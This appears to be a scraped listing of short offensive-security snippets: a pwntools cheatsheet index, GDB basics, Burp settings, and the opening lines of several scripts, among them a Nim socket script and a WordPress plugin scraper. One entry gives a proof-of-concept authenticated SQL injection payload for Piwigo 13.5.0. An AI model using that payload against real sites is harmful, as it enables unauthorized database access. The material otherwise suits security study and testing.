rodnt

Pwntools Cheatsheet

1. Program Interaction
2. Environment and Contexts
3. Logging and Output
4. Encoding, Packing and Utility
5. Assembly and Shellcraft
6. ELFs, Strings and Symbols
7. Return Oriented Programming
8. SROP and Sigreturn Frames

rodnt

How to use GDB (Basics)

• Load the program
  • gdb <program>
• Run the program
  • run
  • run with arguments
    • run arga argb argc ..
• Breakpoint

rodnt

# -*- encoding: utf-8 -*-

from ds_store import DSStore
from tqdm import tqdm
import argparse

parser = argparse.ArgumentParser()
parser.add_argument("-p", "--path", help="Path to the DS_Store file", required=True)
parser.add_argument("-t", "--type", help="Type : Iloc, bwsp, lsvp, lsvP, icvp", default='Iloc')
args = parser.parse_args()

rodnt

Burp Suite > Proxy > Options > TLS Pass Through.
Add these:
*.google\.com
.*.gstatic).com
*.mozilla\.com
.*\.googleapis\.com
*.pkil.goog

rodnt

POC - Authenticated SQL injection Piwigo 13.5.0

Payload: 12 UNION ALL SELECT CONCAT(0x4141414141,IFNULL(CAST(VERSION() AS NCHAR),0x20),0x4141414141)-- --

rodnt

func urlSession(_ session: URLSession, didReceive challenge: URLAuthenticationChallenge, completionHandler: @escaping (URLSession.AuthChallengeDisposition, URLCredential?) -> Void) { 
if (challenge.protectionSpace.authenticationMethod == NSURLAuthenticationMethodServerTrust) { 
if let serverTrust = challenge.protectionSpace.serverTrust { 
var secresult = SecTrustResultType.invalid
let status = SecTrustEvaluate(serverTrust, &secresult) 

if (errSecSuccess == status) { 
if let serverCertificate = SecTrustGetCertificateAtIndex(serverTrust, 0) { 
let serverCertificateData = SecCertificateCopyData(serverCertificate) 
let data = CFDataGetBytePtr(serverCertificateData); 

rodnt

=begin

author: unp4ck

usage:

$ gem install http
$ ruby metricsDumper.rb -u https://example.com/prometheus

=end

rodnt

#include <netdb.h>
/* --- server.c --- */
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>

rodnt

import osproc, net

#Author: m4ll3k

var 
  sock = newSocket()

proc run(TARGET: string, RPORT: int): void =
  try:
    sock.connect(TARGET, PORT(RPORT))

rodnt

from shutil import ExecError
import requests
from bs4 import BeautifulSoup
import os
import wget
from concurrent.futures import ThreadPoolExecutor
import zipfile

def wordpress_plugin():
    urls = []